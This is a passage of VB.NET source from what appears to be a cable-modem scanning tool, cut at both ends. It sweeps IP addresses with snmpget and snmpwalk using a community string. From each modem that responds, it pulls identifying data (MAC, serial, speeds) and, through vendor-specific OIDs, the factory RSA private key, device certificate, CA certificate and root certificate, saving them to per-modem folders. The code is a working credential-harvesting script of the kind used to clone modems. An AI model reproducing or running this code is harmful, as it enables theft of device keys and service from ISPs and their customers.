  797.                 oWriteSER.Close()
  798.  
  799.                 Dim filetodelete As String
  800.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  801.                 If System.IO.File.Exists(filetodelete) = True Then
  802.                     System.IO.File.Delete(filetodelete)
  803.                 End If
  804.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  805.                 If System.IO.File.Exists(filetodelete) = True Then
  806.                     System.IO.File.Delete(filetodelete)
  807.                 End If
  808.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  809.                 If System.IO.File.Exists(filetodelete) = True Then
  810.                     System.IO.File.Delete(filetodelete)
  811.                 End If
  812.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  813.                 If System.IO.File.Exists(filetodelete) = True Then
  814.                     System.IO.File.Delete(filetodelete)
  815.                 End If
  816.  
  817.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  818.                 If System.IO.File.Exists(filetodelete) = True Then
  819.                     System.IO.File.Delete(filetodelete)
  820.                 End If
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.                 'get cmFactoryRSAPublicKey.txt
  829.                 Dim myProcess1 As Process = New Process
  830.                 Dim s1 As String
  831.                 myProcess1.StartInfo.FileName = x
  832.                 myProcess1.StartInfo.UseShellExecute = False
  833.                 myProcess1.StartInfo.CreateNoWindow = True
  834.                 myProcess1.StartInfo.RedirectStandardInput = True
  835.                 myProcess1.StartInfo.RedirectStandardOutput = True
  836.                 myProcess1.StartInfo.RedirectStandardError = True
  837.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  838.                 myProcess1.Start()
  839.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  840.                 sIn1.AutoFlush = True
  841.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  842.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  843.                 s1 = sOut1.ReadToEnd()
  844.                 If Not myProcess1.HasExited Then
  845.                     myProcess1.Kill()
  846.                 End If
  847.                 sIn1.Close()
  848.                 sOut1.Close()
  849.                 sErr1.Close()
  850.                 myProcess1.Close()
  851.                 Dim temp1 As String
  852.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  853.                 temp1 = Replace(temp1, "Hex-", Nothing)
  854.                 temp1 = Replace(temp1, Chr(34), Nothing)
  855.                 Dim oFile As System.IO.File
  856.                 Dim oWrite As System.IO.StreamWriter
  857.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  858.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  859.                 End If
  860.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  861.                 oWrite = oFile.CreateText(filedir)
  862.                 oWrite.WriteLine(temp1)
  863.                 oWrite.Close()
  864.                 Dim bytelist1 As String()
  865.                 Dim templist1 As String
  866.                 templist1 = Replace(temp1, vbCrLf, " ")
  867.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  868.                 templist1 = Replace(templist1, " ", ",")
  869.                 templist1 = Replace(templist1, ",,", ",")
  870.                 bytelist1 = Split(templist1, ",")
  871.                 Dim coutner1 As Integer
  872.                 coutner1 = 2
  873.                 Dim countback1 As Integer = bytelist1.Length - 2
  874.                 Dim countup1 As Integer = 1
  875.                 Dim watchvar1 As Integer = 0
  876.                 While countback1 >= 0
  877.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  878.                         countup1 += 1
  879.                     Else
  880.                         watchvar1 = 1
  881.                     End If
  882.                     countback1 -= 1
  883.                 End While
  884.                 While coutner1 < bytelist1.Length - countup1
  885.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  886.                     Dim oFileStream1 As System.IO.FileStream
  887.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  888.                     oFileStream1.WriteByte(byteData)
  889.                     oFileStream1.Close()
  890.                     coutner1 += 1
  891.                 End While
  892.                 'get cmFactoryRSAPrivateKey.txt
  893.                 Dim myProcess2 As Process = New Process
  894.                 Dim s2 As String
  895.                 myProcess2.StartInfo.FileName = x
  896.                 myProcess2.StartInfo.UseShellExecute = False
  897.                 myProcess2.StartInfo.CreateNoWindow = True
  898.                 myProcess2.StartInfo.RedirectStandardInput = True
  899.                 myProcess2.StartInfo.RedirectStandardOutput = True
  900.                 myProcess2.StartInfo.RedirectStandardError = True
  901.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  902.                 myProcess2.Start()
  903.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  904.                 sIn2.AutoFlush = True
  905.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  906.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  907.                 s2 = sOut2.ReadToEnd()
  908.                 If Not myProcess2.HasExited Then
  909.                     myProcess2.Kill()
  910.                 End If
  911.                 sIn2.Close()
  912.                 sOut2.Close()
  913.                 sErr2.Close()
  914.                 myProcess2.Close()
  915.                 Dim temp2 As String
  916.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  917.                 temp2 = Replace(temp2, "Hex-", "")
  918.                 temp2 = Replace(temp2, Chr(34), "")
  919.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  920.                 oWrite = oFile.CreateText(filedir)
  921.                 oWrite.WriteLine(temp2)
  922.                 oWrite.Close()
  923.                 Dim bytelist2 As String()
  924.                 Dim templist2 As String
  925.                 templist2 = Replace(temp2, vbCrLf, " ")
  926.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  927.                 templist2 = Replace(templist2, " ", ",")
  928.                 templist2 = Replace(templist2, ",,", ",")
  929.                 bytelist2 = Split(templist2, ",")
  930.                 Dim coutner2 As Integer
  931.                 coutner2 = 2
  932.                 Dim countback2 As Integer = bytelist2.Length - 2
  933.                 Dim countup2 As Integer = 1
  934.                 Dim watchvar2 As Integer = 0
  935.                 While countback2 >= 0
  936.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  937.                         countup2 += 1
  938.                     Else
  939.                         watchvar2 = 1
  940.                     End If
  941.                     countback2 -= 1
  942.                 End While
  943.                 While coutner2 < bytelist2.Length - countup2
  944.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  945.                     Dim oFileStream2 As System.IO.FileStream
  946.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  947.                     oFileStream2.WriteByte(byteData2)
  948.                     oFileStream2.Close()
  949.                     coutner2 += 1
  950.                 End While
  951.                 'get cmFactoryCMCertificate.txt
  952.                 Dim myProcess3 As Process = New Process
  953.                 Dim s3 As String
  954.                 myProcess3.StartInfo.FileName = x
  955.                 myProcess3.StartInfo.UseShellExecute = False
  956.                 myProcess3.StartInfo.CreateNoWindow = True
  957.                 myProcess3.StartInfo.RedirectStandardInput = True
  958.                 myProcess3.StartInfo.RedirectStandardOutput = True
  959.                 myProcess3.StartInfo.RedirectStandardError = True
  960.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  961.                 myProcess3.Start()
  962.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  963.                 sIn3.AutoFlush = True
  964.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  965.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  966.                 s3 = sOut3.ReadToEnd()
  967.                 If Not myProcess3.HasExited Then
  968.                     myProcess3.Kill()
  969.                 End If
  970.                 sIn3.Close()
  971.                 sOut3.Close()
  972.                 sErr3.Close()
  973.                 myProcess3.Close()
  974.                 Dim temp3 As String
  975.  
  976.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  977.                 temp3 = Replace(temp3, "Hex-", "")
  978.                 temp3 = Replace(temp3, Chr(34), "")
  979.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  980.                 oWrite = oFile.CreateText(filedir)
  981.                 oWrite.WriteLine(temp3)
  982.                 oWrite.Close()
  983.                 Dim bytelist3 As String()
  984.                 Dim templist3 As String
  985.                 templist3 = Replace(temp3, vbCrLf, " ")
  986.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  987.                 templist3 = Replace(templist3, " ", ",")
  988.                 templist3 = Replace(templist3, ",,", ",")
  989.                 bytelist3 = Split(templist3, ",")
  990.                 Dim coutner3 As Integer
  991.                 coutner3 = 2
  992.                 Dim countback3 As Integer = bytelist3.Length - 2
  993.                 Dim countup3 As Integer = 1
  994.                 Dim watchvar3 As Integer = 0
  995.                 While countback3 >= 0
  996.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  997.                         countup3 += 1
  998.                     Else
  999.                         watchvar3 = 1
  1000.                     End If
  1001.                     countback3 -= 1
  1002.                 End While
  1003.                 While coutner3 < bytelist3.Length - countup3
  1004.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  1005.                     Dim oFileStream3 As System.IO.FileStream
  1006.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  1007.                     oFileStream3.WriteByte(byteData3)
  1008.                     oFileStream3.Close()
  1009.                     coutner3 = coutner3 + 1
  1010.                 End While
  1011.                 'get cmFactoryCaCertificate.txt
  1012.                 Dim myProcess4 As Process = New Process
  1013.                 Dim s4 As String
  1014.                 myProcess4.StartInfo.FileName = x
  1015.                 myProcess4.StartInfo.UseShellExecute = False
  1016.                 myProcess4.StartInfo.CreateNoWindow = True
  1017.                 myProcess4.StartInfo.RedirectStandardInput = True
  1018.                 myProcess4.StartInfo.RedirectStandardOutput = True
  1019.                 myProcess4.StartInfo.RedirectStandardError = True
  1020.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  1021.                 myProcess4.Start()
  1022.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  1023.                 sIn4.AutoFlush = True
  1024.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  1025.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  1026.                 s4 = sOut4.ReadToEnd()
  1027.                 If Not myProcess4.HasExited Then
  1028.                     myProcess4.Kill()
  1029.                 End If
  1030.                 sIn4.Close()
  1031.                 sOut4.Close()
  1032.                 sErr4.Close()
  1033.                 myProcess4.Close()
  1034.                 Dim temp4 As String
  1035.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  1036.                 temp4 = Replace(temp4, "Hex-", "")
  1037.                 temp4 = Replace(temp4, Chr(34), "")
  1038.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  1039.                 oWrite = oFile.CreateText(filedir)
  1040.                 oWrite.WriteLine(temp4)
  1041.                 oWrite.Close()
  1042.                 Dim bytelist4 As String()
  1043.                 Dim templist4 As String
  1044.                 templist4 = Replace(temp4, vbCrLf, " ")
  1045.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  1046.                 templist4 = Replace(templist4, " ", ",")
  1047.                 templist4 = Replace(templist4, ",,", ",")
  1048.                 bytelist4 = Split(templist4, ",")
  1049.                 Dim coutner4 As Integer
  1050.                 coutner4 = 2
  1051.                 Dim countback4 As Integer = bytelist4.Length - 2
  1052.                 Dim countup4 As Integer = 1
  1053.                 Dim watchvar4 As Integer = 0
  1054.                 While countback4 >= 0
  1055.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  1056.                         countup4 = countup4 + 1
  1057.                     Else
  1058.                         watchvar4 = 1
  1059.                     End If
  1060.                     countback4 = countback4 - 1
  1061.                 End While
  1062.                 While coutner4 < bytelist4.Length - countup4
  1063.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  1064.                     Dim oFileStream4 As System.IO.FileStream
  1065.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  1066.                     oFileStream4.WriteByte(byteData4)
  1067.                     oFileStream4.Close()
  1068.                     coutner4 = coutner4 + 1
  1069.                 End While
  1070.                 'get cmFactoryRootCertificate.txt
  1071.                 Dim myProcess5 As Process = New Process
  1072.                 Dim s5 As String
  1073.                 myProcess5.StartInfo.FileName = x
  1074.                 myProcess5.StartInfo.UseShellExecute = False
  1075.                 myProcess5.StartInfo.CreateNoWindow = True
  1076.                 myProcess5.StartInfo.RedirectStandardInput = True
  1077.                 myProcess5.StartInfo.RedirectStandardOutput = True
  1078.                 myProcess5.StartInfo.RedirectStandardError = True
  1079.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  1080.                 myProcess5.Start()
  1081.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  1082.                 sIn5.AutoFlush = True
  1083.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  1084.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  1085.                 s5 = sOut5.ReadToEnd()
  1086.                 If Not myProcess5.HasExited Then
  1087.                     myProcess5.Kill()
  1088.                 End If
  1089.                 sIn5.Close()
  1090.                 sOut5.Close()
  1091.                 sErr5.Close()
  1092.                 myProcess5.Close()
  1093.                 Dim temp5 As String
  1094.  
  1095.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  1096.                 temp5 = Replace(temp5, "Hex-", "")
  1097.                 temp5 = Replace(temp5, Chr(34), "")
  1098.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  1099.                 oWrite = oFile.CreateText(filedir)
  1100.                 oWrite.WriteLine(temp5)
  1101.                 oWrite.Close()
  1102.                 Dim bytelist5 As String()
  1103.                 Dim templist5 As String
  1104.                 templist5 = Replace(temp5, vbCrLf, " ")
  1105.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  1106.                 templist5 = Replace(templist5, " ", ",")
  1107.                 templist5 = Replace(templist5, ",,", ",")
  1108.                 bytelist5 = Split(templist5, ",")
  1109.                 Dim coutner5 As Integer
  1110.                 coutner5 = 2
  1111.                 Dim countback5 As Integer = bytelist5.Length - 2
  1112.                 Dim countup5 As Integer = 1
  1113.                 Dim watchvar5 As Integer = 0
  1114.                 While countback5 >= 0
  1115.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  1116.                         countup5 = countup5 + 1
  1117.                     Else
  1118.                         watchvar5 = 1
  1119.                     End If
  1120.                     countback5 = countback5 - 1
  1121.                 End While
  1122.                 While coutner5 < bytelist5.Length - countup5
  1123.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  1124.                     Dim oFileStream5 As System.IO.FileStream
  1125.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  1126.                     oFileStream5.WriteByte(byteData5)
  1127.                     oFileStream5.Close()
  1128.                     coutner5 = coutner5 + 1
  1129.                 End While
  1130.  
  1131.                 Timer1.Enabled = True
  1132.             Catch ex As Exception
  1133.                 Exit Sub
  1134.             End Try
  1135.         End If
  1136.     End Sub
  1137.     Sub check1(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  1138.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  1139.         Dim x = "C:\snmpcert\snmpget.exe"
  1140.         Dim myProcess As Process = New Process
  1141.         Dim s As String = ""
  1142.         myProcess.StartInfo.FileName = x
  1143.         myProcess.StartInfo.UseShellExecute = False
  1144.         myProcess.StartInfo.CreateNoWindow = True
  1145.         myProcess.StartInfo.RedirectStandardInput = True
  1146.         myProcess.StartInfo.RedirectStandardOutput = True
  1147.         myProcess.StartInfo.RedirectStandardError = True
  1148.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  1149.         myProcess.Start()
  1150.         Dim sIn As StreamWriter = myProcess.StandardInput
  1151.         sIn.AutoFlush = True
  1152.         Dim sOut As StreamReader = myProcess.StandardOutput
  1153.         Dim sErr As StreamReader = myProcess.StandardError
  1154.  
  1155.  
  1156.         s = sOut.ReadToEnd()
  1157.         Dim e As String = sErr.ReadToEnd
  1158.         Console.WriteLine(s)
  1159.         output = e
  1160.         output = s
  1161.         If Not myProcess.HasExited Then
  1162.             myProcess.Kill()
  1163.         End If
  1164.         sIn.Close()
  1165.         sOut.Close()
  1166.         sErr.Close()
  1167.         myProcess.Close()
  1168.         Dim temp As String = ""
  1169.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  1170.         temp = Replace(temp, Chr(34), "")
  1171.         If temp = Nothing Then
  1172.             temp = ""
  1173.         Else
  1174.             If temp = "No Such Object available on this agent at this OID" Then
  1175.                 allmodems += 1
  1176.             End If
  1177.             temp = temp.ToString.ToUpper
  1178.             Dim values As String
  1179.             values = temp
  1180.             Dim sites As String() = Nothing
  1181.             sites = values.Split(" ")
  1182.             Dim t As String
  1183.             For Each t In sites
  1184.                 If t = "NO" Then
  1185.                     track = 1
  1186.  
  1187.                 End If
  1188.  
  1189.             Next t
  1190.         End If
  1191.         If temp.ToString = "" Then
  1192.             Timer1.Enabled = True
  1193.             Exit Sub
  1194.         ElseIf track = 1 Then
  1195.             track = 0
  1196.             Timer1.Enabled = True
  1197.             Exit Sub
  1198.         Else
  1199.             total_modems += 1
  1200.  
  1201.             Try
  1202.                 Dim mymac1 As Process = New Process
  1203.                 Dim sm As String
  1204.                 mymac1.StartInfo.FileName = x
  1205.                 mymac1.StartInfo.UseShellExecute = False
  1206.                 mymac1.StartInfo.CreateNoWindow = True
  1207.                 mymac1.StartInfo.RedirectStandardInput = True
  1208.                 mymac1.StartInfo.RedirectStandardOutput = True
  1209.                 mymac1.StartInfo.RedirectStandardError = True
  1210.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  1211.                 mymac1.Start()
  1212.                 Dim sInm As StreamWriter = mymac1.StandardInput
  1213.                 sInm.AutoFlush = True
  1214.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  1215.                 Dim sErrm As StreamReader = mymac1.StandardError
  1216.                 sm = sOutm.ReadToEnd()
  1217.                 If Not mymac1.HasExited Then
  1218.                     mymac1.Kill()
  1219.                 End If
  1220.                 sInm.Close()
  1221.                 sOutm.Close()
  1222.                 sErrm.Close()
  1223.                 mymac1.Close()
  1224.                 Dim tempm As String = ""
  1225.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  1226.                 tempm = Replace(tempm, "Hex-", Nothing)
  1227.                 tempm = Replace(tempm, Chr(34), Nothing)
  1228.                 tempm = Replace(tempm, ":", Nothing)
  1229.                 tempm = Replace(tempm, " ", Nothing)
  1230.                 temp = Replace(temp, vbCrLf, Nothing)
  1231.                 tempm = Replace(tempm, vbCrLf, Nothing)
  1232.                 Dim usbmac As Process = New Process
  1233.                 Dim sm1 As String
  1234.                 usbmac.StartInfo.FileName = x
  1235.                 usbmac.StartInfo.UseShellExecute = False
  1236.                 usbmac.StartInfo.CreateNoWindow = True
  1237.                 usbmac.StartInfo.RedirectStandardInput = True
  1238.                 usbmac.StartInfo.RedirectStandardOutput = True
  1239.                 usbmac.StartInfo.RedirectStandardError = True
  1240.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  1241.                 usbmac.Start()
  1242.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  1243.                 sInm1.AutoFlush = True
  1244.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  1245.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  1246.                 sm1 = sOutm1.ReadToEnd()
  1247.                 If Not usbmac.HasExited Then
  1248.                     usbmac.Kill()
  1249.                 End If
  1250.                 sInm1.Close()
  1251.                 sOutm1.Close()
  1252.                 sErrm1.Close()
  1253.                 usbmac.Close()
  1254.                 Dim tempum As String = ""
  1255.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  1256.                 tempum = Replace(tempum, "Hex-", Nothing)
  1257.                 tempum = Replace(tempum, Chr(34), Nothing)
  1258.                 tempum = Replace(tempum, ":", Nothing)
  1259.                 tempum = Replace(tempum, " ", Nothing)
  1260.                 tempum = Replace(tempum, vbCrLf, Nothing)
  1261.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  1262.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  1263.                 'get SERIAL number
  1264.                 Dim myProcessSER As Process = New Process
  1265.                 Dim sSER As String
  1266.                 myProcessSER.StartInfo.FileName = x
  1267.                 myProcessSER.StartInfo.UseShellExecute = False
  1268.                 myProcessSER.StartInfo.CreateNoWindow = True
  1269.                 myProcessSER.StartInfo.RedirectStandardInput = True
  1270.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  1271.                 myProcessSER.StartInfo.RedirectStandardError = True
  1272.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  1273.                 myProcessSER.Start()
  1274.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  1275.                 sInSER.AutoFlush = True
  1276.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  1277.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  1278.                 sSER = sOutSER.ReadToEnd()
  1279.                 If Not myProcessSER.HasExited Then
  1280.                     myProcessSER.Kill()
  1281.                 End If
  1282.                 sInSER.Close()
  1283.                 sOutSER.Close()
  1284.                 sErrSER.Close()
  1285.                 myProcessSER.Close()
  1286.                 Dim tempSER As String
  1287.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  1288.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  1289.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  1290.  
  1291.  
  1292.  
  1293.  
  1294.  
  1295.  
  1296.                 'get download speed
  1297.  
  1298.                 Dim myProcessspeedd As Process = New Process
  1299.                 Dim sspeedd As String
  1300.                 myProcessspeedd.StartInfo.FileName = x
  1301.                 myProcessspeedd.StartInfo.UseShellExecute = False
  1302.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  1303.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  1304.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  1305.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  1306.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  1307.                 myProcessspeedd.Start()
  1308.  
  1309.  
  1310.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  1311.                 sInSpeedd.AutoFlush = True
  1312.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  1313.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  1314.                 sspeedd = sOutSpeedd.ReadToEnd()
  1315.                 If Not myProcessspeedd.HasExited Then
  1316.                     myProcessspeedd.Kill()
  1317.                 End If
  1318.                 sInSpeedd.Close()
  1319.                 sOutSpeedd.Close()
  1320.                 sErrSpeedd.Close()
  1321.                 myProcessspeedd.Close()
  1322.                 Dim tempSpeedd As String
  1323.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  1324.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  1325.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  1326.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  1327.                 'get upload speed
  1328.                 Dim myProcessspeedu As Process = New Process
  1329.                 Dim sspeedu As String
  1330.                 myProcessspeedu.StartInfo.FileName = x
  1331.                 myProcessspeedu.StartInfo.UseShellExecute = False
  1332.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  1333.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  1334.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  1335.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  1336.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  1337.                 myProcessspeedu.Start()
  1338.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  1339.                 sInSpeedu.AutoFlush = True
  1340.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  1341.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  1342.                 sspeedu = sOutSpeedu.ReadToEnd()
  1343.                 If Not myProcessspeedu.HasExited Then
  1344.                     myProcessspeedu.Kill()
  1345.                 End If
  1346.                 sInSpeedu.Close()
  1347.                 sOutSpeedu.Close()
  1348.                 sErrSpeedu.Close()
  1349.                 myProcessspeedu.Close()
  1350.                 Dim tempSpeedu As String
  1351.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  1352.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  1353.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  1354.  
  1355.  
  1356.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  1357.                     'get download speed doccis 1.1 +
  1358.                     Dim myProcessspeedd1 As Process = New Process
  1359.                     Dim sspeedd1 As String
  1360.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  1361.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  1362.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  1363.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  1364.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  1365.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  1366.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  1367.                     myProcessspeedd1.Start()
  1368.  
  1369.  
  1370.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  1371.                     sInSpeedd1.AutoFlush = True
  1372.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  1373.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  1374.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  1375.                     If Not myProcessspeedd1.HasExited Then
  1376.                         myProcessspeedd1.Kill()
  1377.                     End If
  1378.                     sInSpeedd1.Close()
  1379.                     sOutSpeedd1.Close()
  1380.                     sErrSpeedd1.Close()
  1381.                     myProcessspeedd1.Close()
  1382.                     Dim tempSpeedd1 As String
  1383.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  1384.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  1385.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  1386.                     tempSpeedd = tempSpeedd1
  1387.  
  1388.                     Dim testing As String
  1389.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  1390.                     ''MsgBox(testing)
  1391.                     Dim split As String()
  1392.                     split = testing.Split(",")
  1393.                     tempSpeedd = split(0).ToString
  1394.                     tempSpeedu = split(4).ToString
  1395.                     ''MsgBox(tempSpeedd)
  1396.                     ''MsgBox(tempSpeedu)
  1397.                 End If
  1398.  
  1399.  
  1400.  
  1401.                 Dim oFileSER As System.IO.File
  1402.                 Dim oWriteSER As System.IO.StreamWriter
  1403.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  1404.                 oWriteSER = oFileSER.CreateText(filedirSER)
  1405.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  1406.                 oWriteSER.Close()
  1407.  
  1408.                 Dim filetodelete As String
  1409.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  1410.                 If System.IO.File.Exists(filetodelete) = True Then
  1411.                     System.IO.File.Delete(filetodelete)
  1412.                 End If
  1413.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  1414.                 If System.IO.File.Exists(filetodelete) = True Then
  1415.                     System.IO.File.Delete(filetodelete)
  1416.                 End If
  1417.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
